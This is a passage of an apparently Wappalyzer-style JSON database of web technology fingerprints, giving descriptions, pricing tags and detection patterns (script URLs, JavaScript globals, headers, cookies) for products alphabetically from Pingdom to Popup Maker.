\"icon\": \"Pingdom.svg\",\n    \"meta\": {\n      \"title\": \"^Pingdom Public Reports Overview$\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.pingdom.com/product/uptime-monitoring/\"\n  },\n  \"Pingoteam\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"Pingoteam.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"designer\": \"Pingoteam\"\n    },\n    \"website\": \"https://www.pingoteam.ir/\"\n  },\n  \"Pinia\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Pinia is a state management library for Vue.js.\",\n    \"dom\": {\n      \"script\": {\n        \"text\": \"\\\"pinia\\\"\"\n      }\n    },\n    \"icon\": \"Pinia.svg\",\n    \"js\": {\n      \"Pinia.createPinia\": \"\",\n      \"__NUXT__.pinia\": \"\",\n      \"mount_pinia\": \"\",\n      \"pinia.state\": \"\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"Vue.js\"\n    ],\n    \"scriptSrc\": [\n      \"/pinia/.+\\\\.js\"\n    ],\n    \"website\": \"https://pinia.vuejs.org\"\n  },\n  \"PinnacleCart\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"PinnacleCart is an ecommerce platform.\",\n    \"icon\": \"PinnacleCart.svg\",\n    \"js\": {\n      \"USER_DELETE_ADDRESS\": \"^DeleteShippingAddress$\\\\;confidence:49\",\n      \"USER_DELETE_PAYMENT_PROFILE\": \"^DeletePaymentProfile$\\\\;confidence:49\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.pinnaclecart.com\"\n  },\n  \"Pinterest\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Pinterest is an image sharing and social media service designed to enable saving and discovery of information.\",\n    \"icon\": \"Pinterest.svg\",\n    \"scriptSrc\": [\n      \"//assets\\\\.pinterest\\\\.com/js/pinit\\\\.js\"\n    ],\n    \"website\": \"https://pinterest.com\"\n  },\n  \"Pinterest Ads\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Pinterest Ads is an online advertising platform developed by Pinterest.\",\n    \"icon\": \"Pinterest.svg\",\n    \"website\": \"https://ads.pinterest.com/\",\n    \"xhr\": [\n      \"ct\\\\.pinterest\\\\.com\"\n    ]\n  },\n  \"Pinterest Conversion Tag\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Pinterest Conversion Tag allows you to track actions people take on your website after viewing your Promoted Pin.\",\n    \"dom\": [\n      \"img[src*='ct.pinterest.com/v3/?tid']\"\n    ],\n    \"icon\": \"Pinterest.svg\",\n    \"js\": {\n      \"pintrk\": \"\"\n    },\n    \"website\": \"https://www.pinterest.com.au/business/\"\n  },\n  \"Pipedrive\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Pipedrive is a cloud-based sales CRM.\",\n    \"icon\": \"Pipedrive.svg\",\n    \"js\": {\n      \"LeadBooster\": \"\"\n    },\n    \"pricing\": [\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.pipedrive.com/\"\n  },\n  \"Piwigo\": {\n    \"cats\": [\n      7\n    ],\n    \"cpe\": \"cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:*\",\n    \"description\": \"Piwigo is an open-source photo management software designed for creating and managing online photo galleries.\",\n    \"icon\": \"Piwigo.svg\",\n    \"implies\": [\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Piwigo\\\\s\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://piwigo.com\"\n  },\n  \"Piwik PRO Core\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Piwik PRO Core is a free alternative to Google Analytics that is privacy & compliance focused.\",\n    \"excludes\": [\n      \"Matomo Analytics\"\n    ],\n    \"icon\": \"Piwik PRO Core.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.piwik\\\\.pro/\"\n    ],\n    \"website\": \"https://piwik.pro\"\n  },\n  \"Pixc\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Pixc is human powered image editing platform.\",\n    \"icon\": \"Pixc.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//pixc\\\\.com/\"\n    ],\n    \"website\": \"https://pixc.com\"\n  },\n  \"Pixel Motion\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Pixel Motion is a provider of automotive digital marketing solutions.\",\n    \"dom\": [\n      \"script#pixelmotion-js\"\n    ],\n    \"icon\": \"PixelMotion.svg\",\n    \"js\": {\n      \"pm_api\": \"\",\n      \"pm_datalayer_config\": \"\",\n      \"pm_datalayer_data\": \"\",\n      \"pm_datalayer_props\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/pm-motors-plugin/modules/datalayer//js/pixelmotion\\\\.js\\\\?ver=([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.pixelmotion.com\"\n  },\n  \"PixelFed\": {\n    \"cats\": [\n      2\n    ],\n    \"description\": \"PixelFed is an activitypub based image sharing platform.\",\n    \"dom\": {\n      \"a[href='pixelfed.org'][title*='version']\": {\n        \"attributes\": {\n          \"title\": \"^version ([0-9.]+)$\\\\;version:\\\\1\"\n        },\n        \"text\": \"^Powered by Pixelfed$\"\n      }\n    },\n    \"icon\": \"PixelFed.svg\",\n    \"implies\": [\n      \"Laravel\"\n    ],\n    \"website\": \"https://pixelfed.org\"\n  },\n  \"PixelYourSite\": {\n    \"cats\": [\n      87,\n      10\n    ],\n    \"cpe\": \"cpe:2.3:a:pixelyoursite:pixelyoursite:*:*:*:*:*:wordpress:*:*\",\n    \"description\": \"PixelyourSite is now probably the most complex tracking tool for WordPress, managing the Facebook Pixel, Google Analytics, Google Ads Remarketing, Pinterest Tag, Bing Tag, and virtually any other script.\",\n    \"icon\": \"PixelYourSite.svg\",\n    \"js\": {\n      \"pys.Facebook\": \"\",\n      \"pysOptions\": \"\",\n      \"pys_generate_token\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/pixelyoursite/\"\n    ],\n    \"website\": \"https://www.pixelyoursite.com\"\n  },\n  \"Pixieset Store\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Pixieset Store lets you sell professional print products, digital downloads, and other items directly from your galleries.\",\n    \"icon\": \"Pixieset.svg\",\n    \"js\": {\n      \"PixiesetProductEditor\": \"\",\n      \"PixiesetProductOptionSelection\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://pixieset.com\"\n  },\n  \"Pixieset Website\": {\n    \"cats\": [\n      1,\n      51\n    ],\n    \"description\": \"Pixieset Website is a space to create your own beautiful photography website.\",\n    \"icon\": \"Pixieset.svg\",\n    \"meta\": {\n      \"generator\": \"^Pixieset$\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://pixieset.com\"\n  },\n  \"Pixlee TurnTo\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Pixlee TurnTo is a social UGC, ratings and reviews, and influencer marketing platform for community-driven brands.\",\n    \"icon\": \"Pixelee TurnTo.png\",\n    \"js\": {\n      \"Pixlee\": \"\",\n      \"Pixlee_Analytics\": \"\",\n      \"TurnTo\": \"\",\n      \"turnToConfig\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.pixlee\\\\.com\"\n    ],\n    \"website\": \"https://pixlee.com\"\n  },\n  \"Pixnet\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Pixnet is an Taiwanese mobile photo sharing, blogging, and social networking service.\",\n    \"icon\": \"Pixnet.svg\",\n    \"js\": {\n      \"pix.MIB\": \"\"\n    },\n    \"website\": \"https://www.pixnet.net\"\n  },\n  \"Pixpa\": {\n    \"cats\": [\n      7,\n      51\n    ],\n    \"description\": \"Pixpa is a software that enables photographers, artists and creative designers build and manage online presence by letting them create a professional portfolio website without the need of any coding skills.\",\n    \"icon\": \"Pixpa.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"themeassets\\\\.pixpa\\\\.com/\"\n    ],\n    \"website\": \"https://www.pixpa.com\"\n  },\n  \"PizzaNetz\": {\n    \"cats\": [\n      1,\n      93\n    ],\n    \"description\": \"PizzaNetz is an ordering system and shop system for pizzerias, Chinese restaurant and kebabs.\",\n    \"dom\": [\n      \"form[name*='pizzanetz']\"\n    ],\n    \"icon\": \"PizzaNetz.png\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.pizzanetz.de\"\n  },\n  \"Plaid\": {\n    \"cats\": [\n      41,\n      19\n    ],\n    \"description\": \"Plaid is a fintech company that facilitates communication between financial services apps and users' banks and credit card providers.\",\n    \"headers\": {\n      \"content-security-policy\": \"cdn\\\\.plaid\\\\.com/\"\n    },\n    \"icon\": \"Plaid.svg\",\n    \"js\": {\n      \"Plaid.version\": \"([\\\\.\\\\d]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.plaid\\\\.com/\"\n    ],\n    \"website\": \"https://plaid.com\"\n  },\n  \"Planet\": {\n    \"cats\": [\n      49\n    ],\n    \"description\": \"Planet is a feed aggregator, which creates pages with entries from the original feeds in chronological order, most recent entries first.\",\n    \"icon\": \"Planet.png\",\n    \"meta\": {\n      \"generator\": \"^Planet(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://planetplanet.org\"\n  },\n  \"Plannit\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Plannit is a task management home services network.\",\n    \"icon\": \"Plannit.svg\",\n    \"js\": {\n      \"PlannitCallTracking\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.plannit\\\\.io/\"\n    ],\n    \"website\": \"https://plannit.io\"\n  },\n  \"Planzer\": {\n    \"cats\": [\n      107\n    ],\n    \"description\": \"Planzer is a provider of transport and warehouse logistics services, specializing in efficient and reliable solutions for supply chain management across various industries.\",\n    \"icon\": \"Planzer.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/planzer-jobs/\"\n    ],\n    \"website\": \"https://www.planzer.ch\"\n  },\n  \"Plasmic\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Plasmic is a visual, no-code headless page/content builder for any website or codebase.\",\n    \"dom\": [\n      \"div.plasmic_default__all\"\n    ],\n    \"icon\": \"Plasmic.svg\",\n    \"js\": {\n      \"__NEXT_DATA__.props.pageProps.plasmicData\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.plasmic.app\"\n  },\n  \"Platform.sh\": {\n    \"cats\": [\n      62\n    ],\n    \"headers\": {\n      \"x-platform-cluster\": \"\",\n      \"x-platform-processor\": \"\",\n      \"x-platform-router\": \"\",\n      \"x-platform-server\": \"\"\n    },\n    \"icon\": \"platformsh.svg\",\n    \"website\": \"https://platform.sh\"\n  },\n  \"PlatformOS\": {\n    \"cats\": [\n      1,\n      62\n    ],\n    \"headers\": {\n      \"x-powered-by\": \"^platformOS$\"\n    },\n    \"icon\": \"PlatformOS.svg\",\n    \"website\": \"https://www.platform-os.com\"\n  },\n  \"Platforma LP\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Platforma LP is a web design and development platform that provides ready-to-use website templates for various industries and purposes. It is a collection of over 500 website templates that can be customised and edited according to user needs.\",\n    \"icon\": \"Platforma LP.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.lpcdn\\\\.site/\"\n    ],\n    \"website\": \"https://platformalp.ru\"\n  },\n  \"Platformly\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Platformly is a tool that provides intelligent marketing automation for online businesses.\",\n    \"icon\": \"Platformly.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"www\\\\.platform\\\\.ly/\"\n    ],\n    \"website\": \"https://www.platformly.com\"\n  },\n  \"PlatinMarket\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"PlatinMarket is an ecommerce platform that provides solutions for online businesses to create and manage their online stores.\",\n    \"icon\": \"PlatinMarket.svg\",\n    \"js\": {\n      \"PlatinMarket\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//platincdn\\\\.com/\"\n    ],\n    \"website\": \"https://www.platinmarket.com\"\n  },\n  \"Platter\": {\n    \"cats\": [\n      108\n    ],\n    \"description\": \"Platter is a platform that provides integrated themes and apps for Shopify stores, allowing for efficient customization.\",\n    \"dom\": [\n      \"link[href*='/platter.css']\"\n    ],\n    \"icon\": \"Platter.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.platter.co\"\n  },\n  \"Plausible\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Plausible is an open-source alternative to Google Analytics.\",\n    \"icon\": \"Plausible.svg\",\n    \"js\": {\n      \"plausible\": \"\"\n    },\n    \"scriptSrc\": [\n      \"plausible\\\\.io/js/plausible\\\\.js\"\n    ],\n    \"website\": \"https://plausible.io/\"\n  },\n  \"Play\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"PLAY_SESSION\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:playframework:play_framework:*:*:*:*:*:*:*:*\",\n    \"icon\": \"Play.svg\",\n    \"implies\": [\n      \"Scala\"\n    ],\n    \"website\": \"https://www.playframework.com\"\n  },\n  \"Plaza\": {\n    \"cats\": [\n      103\n    ],\n    \"description\": \"Plaza is a ecommerce platform that allows brands and retailers to communicate with customers via live video.\",\n    \"dom\": [\n      \"iframe[src*='stream.useplaza.com/']\"\n    ],\n    \"icon\": \"Plaza.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.useplaza.com\"\n  },\n  \"Pleroma\": {\n    \"cats\": [\n      2\n    ],\n    \"description\": \"Pleroma is a free, federated social networking server built on open protocols.\",\n    \"dom\": {\n      \"noscript\": {\n        \"text\": \"^To use Pleroma, please enable JavaScript.$\"\n      },\n      \"title\": {\n        \"text\": \"^Pleroma$\"\n      }\n    },\n    \"icon\": \"Pleroma.svg\",\n    \"website\": \"https://pleroma.social/\"\n  },\n  \"Plesk\": {\n    \"cats\": [\n      9\n    ],\n    \"cpe\": \"cpe:2.3:a:parallels:parallels_plesk_panel:*:*:*:*:*:*:*:*\",\n    \"description\": \"Plesk is a web hosting and server data centre automation software with a control panel developed for Linux and Windows-based retail hosting service providers.\",\n    \"headers\": {\n      \"X-Powered-By\": \"^Plesk(?:L|W)in\",\n      \"X-Powered-By-Plesk\": \"^Plesk\"\n    },\n    \"icon\": \"Plesk.svg\",\n    \"js\": {\n      \"Plesk.Form\": \"\"\n    },\n    \"meta\": {\n      \"plesk-build\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"common\\\\.js\\\\?plesk\"\n    ],\n    \"website\": \"https://www.plesk.com\"\n  },\n  \"Plezi\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Plezi is a marketing automation tool.\",\n    \"icon\": \"Plezi.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.plezi\\\\.co\"\n    ],\n    \"website\": \"https://www.plezi.co\"\n  },\n  \"Pligg\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:pligg:pligg_cms:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"<span[^>]+id=\\\"xvotes-0\"\n    ],\n    \"icon\": \"Pligg.svg\",\n    \"js\": {\n      \"pligg_\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Pligg\"\n    },\n    \"website\": \"https://pligg.com\"\n  },\n  \"Plone\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:plone:plone:*:*:*:*:*:*:*:*\",\n    \"description\": \"Plone is a free and open source content management system (CMS) built on top of the Zope application server.\",\n    \"dom\": [\n      \"link[href^='/++resource++']\"\n    ],\n    \"icon\": \"Plone.svg\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"meta\": {\n      \"generator\": \"Plone\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"^/\\\\+\\\\+resource\\\\+\\\\+\"\n    ],\n    \"website\": \"https://plone.org/\"\n  },\n  \"Plotly\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Plotly is a data visualization library and platform that enables the creation of interactive, high-quality charts, graphs, and dashboards for web applications and data analysis using languages like JavaScript, Python, and R.\",\n    \"icon\": \"Plotly.svg\",\n    \"implies\": [\n      \"D3\"\n    ],\n    \"js\": {\n      \"Plotly.version\": \"([\\\\d.])\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"https?://cdn\\\\.plot\\\\.ly/plotly\"\n    ],\n    \"website\": \"https://plot.ly/javascript/\"\n  },\n  \"Plug&Pay\": {\n    \"cats\": [\n      6,\n      41,\n      51\n    ],\n    \"cookies\": {\n      \"plug_pay_session\": \"\"\n    },\n    \"description\": \"Plug&Pay is a payment processor that provides payment solutions for ecommerce businesses.\",\n    \"icon\": \"Plug and Pay.svg\",\n    \"implies\": [\n      \"Laravel\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://plugandpay.nl\"\n  },\n  \"Plupload\": {\n    \"cats\": [\n      5,\n      68\n    ],\n    \"cpe\": \"cpe:2.3:a:plupload:plupload:*:*:*:*:*:*:*:*\",\n    \"description\": \"Plupload is JavaScript API for building file uploaders.\",\n    \"icon\": \"plupload.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"plupload(?:\\\\.min)?\\\\.js(?:\\\\?ver=([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.plupload.com/\"\n  },\n  \"Plutio\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Plutio is an all-in-one platform for business management, team collaboration, and client interaction.\",\n    \"dom\": [\n      \"link[href*='cdn.plutio.com/']\"\n    ],\n    \"icon\": \"Plutio.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.plutio.com\"\n  },\n  \"Plyr\": {\n    \"cats\": [\n      14\n    ],\n    \"css\": [\n      \"--plyr-progress\"\n    ],\n    \"description\": \"Plyr is a simple, lightweight, accessible and customizable HTML5, YouTube and Vimeo media player that supports modern browsers.\",\n    \"icon\": \"Plyr.svg\",\n    \"js\": {\n      \"Plyr\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.plyr\\\\.io/([0-9.]+)/.+\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://plyr.io\"\n  },\n  \"Po.st\": {\n    \"cats\": [\n      5\n    ],\n    \"icon\": \"Po.st.png\",\n    \"js\": {\n      \"pwidget_config\": \"\"\n    },\n    \"website\": \"https://www.po.st/\"\n  },\n  \"Pocket\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Pocket is a social bookmarking service that can be integrated into a website with the use of a web widget.\",\n    \"dom\": [\n      \"iframe[src*='widgets.getpocket.com/']\"\n    ],\n    \"icon\": \"pocket.svg\",\n    \"meta\": {\n      \"pocket-site-verification'\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"widgets\\\\.getpocket\\\\.com/\"\n    ],\n    \"website\": \"https://getpocket.com\"\n  },\n  \"Podia\": {\n    \"cats\": [\n      21,\n      6\n    ],\n    \"cookies\": {\n      \"_podia_storefront_visitor_id\": \"\"\n    },\n    \"description\": \"Podia is a platform to host and sell online courses, memberships, and digital downloads.\",\n    \"icon\": \"Podia.svg\",\n    \"js\": {\n      \"Podia.Checkout\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.podia\\\\.com\"\n    ],\n    \"website\": \"https://www.podia.com\"\n  },\n  \"Podigee\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Podigee is an independent company for podcast publishers. Podigee offers hosting, distribution, analytics and monetisation of podcasts.\",\n    \"dom\": [\n      \"iframe[src*='cdn.podigee.com/']\"\n    ],\n    \"icon\": \"Podigee.svg\",\n    \"js\": {\n      \"podigeePodcastPlayers\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.podigee.com\"\n  },\n  \"Podium\": {\n    \"cats\": [\n      5,\n      52\n    ],\n    \"description\": \"Podium is a customer communication platform for businesses who interact with customers on a local level.\",\n    \"icon\": \"Podium.svg\",\n    \"js\": {\n      \"PodiumWebChat\": \"\",\n      \"podiumWebsiteWidgetLoaded\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.podium\\\\.com/\"\n    ],\n    \"website\": \"https://www.podium.com\"\n  },\n  \"Podkite\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Podkite is a platform that allows users to track their podcast's chart rankings, reviews, download analytics and attribution data all in one place.\",\n    \"icon\": \"Podkite.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"embed\\\\.podkite\\\\.com/\"\n    ],\n    \"website\": \"https://podkite.com\"\n  },\n  \"Podsights\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Podsights is attribution technology platform that brands and agencies use to measure and scale their podcast advertising\",\n    \"icon\": \"Podsights.png\",\n    \"scriptSrc\": [\n      \"cdn\\\\.pdst\\\\.fm\"\n    ],\n    \"website\": \"https://podsights.com/\"\n  },\n  \"Pojo.me\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"Pojo.me provides a Accessibility overlay plug-in for any WordPress Theme or Page Builder.\",\n    \"icon\": \"Pojo.me.svg\",\n    \"js\": {\n      \"PojoA11yOptions\": \"\"\n    },\n    \"website\": \"https://pojo.me/plugins/accessibility/\"\n  },\n  \"Poll Maker\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Poll Maker is a system designed to create and manage online polls, allowing users to gather opinions, feedback, or votes.\",\n    \"icon\": \"PollMaker.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"scripts\\\\.poll-maker\\\\.com/\"\n    ],\n    \"website\": \"https://www.poll-maker.com\"\n  },\n  \"Poloriz\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Poloriz's technology automatically creates a personalised, full-screen, mobile-first, cross-selling user experience for shoppers.\",\n    \"icon\": \"Poloriz.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.poloriz\\\\.com/\"\n    ],\n    \"website\": \"https://www.poloriz.com\"\n  },\n  \"Poltio\": {\n    \"cats\": [\n      86\n    ],\n    \"description\": \"Poltio is a platform enabling brands to enhance user segment understanding, driving revenue growth and fostering customer relationships.\",\n    \"icon\": \"Poltio.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.poltio\\\\.com/\"\n    ],\n    \"website\": \"https://poltio.com\"\n  },\n  \"Polyfill\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Polyfill is a service which accepts a request for a set of browser features and returns only the polyfills that are needed by the requesting browser.\",\n    \"icon\": \"polyfill.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"polyfill\\\\.io/v([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://polyfill.io\"\n  },\n  \"Polylang\": {\n    \"cats\": [\n      87,\n      89\n    ],\n    \"cookies\": {\n      \"pll_language\": \"[a-z]{2}\"\n    },\n    \"description\": \"Polylang is a WordPress plugin which allows you to create multilingual WordPress site.\",\n    \"dom\": [\n      \"#pll_switcher\"\n    ],\n    \"headers\": {\n      \"x-redirected-by\": \"Polylang(?: (Pro))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Polylang.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/polylang\"\n  },\n  \"Polymer\": {\n    \"cats\": [\n      12\n    ],\n    \"html\": [\n      \"(?:<polymer-[^>]+|<link[^>]+rel=\\\"import\\\"[^>]+/polymer\\\\.html\\\")\"\n    ],\n    \"icon\": \"Polymer.png\",\n    \"js\": {\n      \"Polymer.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"polymer\\\\.js\"\n    ],\n    \"website\": \"https://polymer-project.org\"\n  },\n  \"Popmenu\": {\n    \"cats\": [\n      1,\n      93\n    ],\n    \"cookies\": {\n      \"Popmenu-Token\": \"\"\n    },\n    \"description\": \"Popmenu is a restaurant platform which offers CMS, online menus, ordering and delivery and marketing automation solutions.\",\n    \"icon\": \"Popmenu.svg\",\n    \"implies\": [\n      \"React\",\n      \"Apollo\"\n    ],\n    \"js\": {\n      \"POPMENU_CLIENT\": \"\",\n      \"popmenuHydrated\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"mid\"\n    ],\n    \"website\": \"https://get.popmenu.com\",\n    \"xhr\": [\n      \"popmenu\\\\.com\"\n    ]\n  },\n  \"Popmotion\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Popmotion is a collection of low-level JavaScript animation functions and utils for advanced animators.\",\n    \"icon\": \"Popmotion.svg\",\n    \"js\": {\n      \"popmotion\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"popmotion\\\\.global\\\\.min\\\\.js(?:\\\\?ver=\\\\d+\\\\.\\\\d+)?\"\n    ],\n    \"website\": \"https://popmotion.io\"\n  },\n  \"Popper\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Popper is a positioning engine, its purpose is to calculate the position of an element to make it possible to position it near a given reference element.\",\n    \"icon\": \"Popper.svg\",\n    \"js\": {\n      \"Popper.Defaults\": \"\",\n      \"Popper.applyStyles\": \"\",\n      \"createPopper\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/popper(?:\\\\.min)?\\\\.js(?:/([0-9.]+))?\\\\;version:\\\\1\",\n      \"popperjs(?:/|-)core(?:@|-)([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://popper.js.org\"\n  },\n  \"Poppins\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Poppins is a tool that enables notifications on websites, ranging from video alerts to informational popups.\",\n    \"icon\": \"Poppins.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//poppins\\\\.so/\"\n    ],\n    \"website\": \"https://poppins.so\"\n  },\n  \"PopularFX\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"PopularFX is a fully customizable responsive WordPress theme. It comes with drag and drop page builder.\",\n    \"dom\": [\n      \"link#popularfx-style-css\"\n    ],\n    \"icon\": \"PopularFX.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/popularfx/.+\\\\?ver=([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://popularfx.com\"\n  },\n  \"Popup Maker\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Popup Maker is a plugin that lets you create popup windows for your WordPress website.\",\n    \"icon\": \"Popup Maker.svg\",\n    \"js\": {\n      \"pum_popups\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      